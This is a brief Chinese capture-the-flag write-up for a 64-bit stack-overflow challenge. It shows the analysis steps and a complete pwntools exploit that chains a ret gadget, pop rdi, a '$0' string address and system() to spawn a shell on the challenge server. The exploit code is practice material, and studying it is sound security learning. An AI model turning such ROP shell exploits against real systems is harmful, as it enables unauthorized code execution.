下载文件 exeinfo checksec
64位 用IDA64打开
找到main函数
还有一个tips函数
查看汇编:
新知识:16进制 24 30 代表$0 也可以作为binsh使用
所以binsh的地址为0x400541
exp:
from pwn import *
p = remote("node4.anna.nssctf.cn", 28329)
binsh = 0x400541
system = 0x400430
ret = 0x400416
pop_rdi = 0x4005e3
payload = b'a' * (0x10 + 8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)
p.interactive()
运行,得到flag